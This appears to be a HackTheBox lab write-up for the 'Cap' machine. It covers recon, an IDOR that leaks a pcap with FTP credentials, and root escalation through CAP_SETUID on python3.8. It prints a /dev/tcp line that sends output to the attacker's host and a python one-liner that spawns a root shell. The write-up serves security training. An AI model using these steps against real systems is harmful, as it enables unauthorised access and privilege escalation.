Post

HTB: Cap

Cap is an easy machine from HackTheBox which has a website that allows users to download pcap files. I'll exploit an IDOR to grab a pcap which contains the user's credentials to get a shell on the box. For the root step, I'll discover that the `CAP_SETUID` capability is set for `python3.8` which allows us to manipulate the proecss UID to get a shell as root.

HTB: Cap

Overview

Cap is an easy machine from HackTheBox which has a website that allows users to download pcap files. I’ll exploit an IDOR to grab a pcap which contains the user’s credentials to get a shell on the box. For the root step, I’ll discover that the CAP_SETUID capability is set for python3.8 which allows us to manipulate the proecss UID to get a shell as root.

Recon

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# Nmap 7.94SVN scan initiated Fri Aug 16 14:51:31 2024 as: nmap -p 21,22,80 -sSCV -vv -oN scans/cap.nmap 10.10.10.245
Nmap scan report for 10.10.10.245 (10.10.10.245)
Host is up, received echo-reply ttl 63 (2.2s latency).
Scanned at 2024-08-16 14:51:41 +08 for 193s

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2vrva1a+HtV5SnbxxtZSs+D8/EXPL2wiqOUG2ngq9zaPlF6cuLX3P2QYvGfh5bcAIVjIqNUmmc1eSHVxtbmNEQjyJdjZOP4i2IfX/RZUA18dWTfEWlNaoVDGBsc8zunvFk3nkyaynnXmlH7n3BLb1nRNyxtouW+q7VzhA6YK3ziOD6tXT7MMnDU7CfG1PfMqdU297OVP35BODg1gZawthjxMi5i5R1g3nyODudFoWaHu9GZ3D/dSQbMAxsly98L1Wr6YJ6M6xfqDurgOAl9i6TZ4zx93c/h1MO+mKH7EobPR/ZWrFGLeVFZbB6jYEflCty8W8Dwr7HOdF1gULr+Mj+BcykLlzPoEhD7YqjRBm8SHdicPP1huq+/3tN7Q/IOf68NNJDdeq6QuGKh1CKqloT/+QZzZcJRubxULUg8YLGsYUHd1umySv4cHHEXRl7vcZJst78eBqnYUtN3MweQr4ga1kQP4YZK5qUQCTPPmrKMa9NPh1sjHSdS8IwiH12V0=
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqG/RCH23t5Pr9sw6dCqvySMHEjxwCfMzBDypoNIMIa8iKYAe84s/X7vDbA9T/vtGDYzS+fw8I5MAGpX8deeKI=
|   256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPbLTiQl+6W0EOi8vS+sByUiZdBsuz0v/7zITtSuaTFH
80/tcp open  http    syn-ack ttl 63 gunicorn
|_http-title: Security Dashboard
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Fri, 16 Aug 2024 06:42:44 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 16 Aug 2024 06:42:38 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 16 Aug 2024 06:42:38 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>

FTP (TCP 21)

1
2
3
4
5
6
7
8
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed

FTP Anonymous login is disabled.

Website (TCP 80)

Home page Home page

/data/1 Data

/ip ipconfig

/netstat netstat

/ip and /netstat just returns the output of ipconfig and netstat on the box. That leaves us with the only feature on the box, which is the pcap download.

When selecting the pcap option, I notice that the URL is /data/1 and the pcap is empty. If I change the id to 0, the pcap now has data which confirms that we have an IDOR.

pcap data

I’ll download the pcap and analyze it in Wireshark.

Shell as nathan

In the pcap, we’ll find the FTP credentials for nathan in TCP stream 3.

FTP credentials

These credentials gives us a valid FTP login.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:kali): nathan
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||45291|)
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 27  2021 .
drwxr-xr-x    3 0        0            4096 May 23  2021 ..
lrwxrwxrwx    1 0        0               9 May 15  2021 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23  2021 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27  2021 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Aug 16 07:19 user.txt

It appears that the FTP is mounted to the user’s home directory, so I’ll grab user.txt here.

User flag: d6a33307331f445abd511e7228acc89b

I’ll try the same credentials again to get a valid SSH session as nathan.

Shell as root

Quick check for sudo privileges.

1
2
3
nathan@cap:~$ sudo -l
[sudo] password for nathan: 
Sorry, user nathan may not run sudo on cap.

Checking for SUID binaries also didn’t return any results.

1
nathan@cap:~$ find / -perm 4000 2>/dev/null | grep -v 'sys\|lib\|run\|proc'

I’ll upload linpeas onto the box then transfer the output back to my host.

Write linpeas output to a file.

1
nathan@cap:/dev/shm$ ./linpeas.sh -a > linpeas.out

Transfer output back to host.

1
2
3
4
5
# On target
nathan@cap:/dev/shm$ cat linpeas.out >/dev/tcp/10.10.16.26/9001

# On host
$ nc -lvnp 9001 > linpeas.out

In the linpeas output, we find that python3.8 has the CAP_SETUID capability set, which allows us to manipulate the process’ UID to escalate privileges and get a shell as root.

python capability

1
2
3
nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'                                                                                  
# whoami                                                                      
root                                                                          

Root flag: de99e8b76e7757b2fbc14f6d88d7c082

This post is licensed under CC BY 4.0 by the author.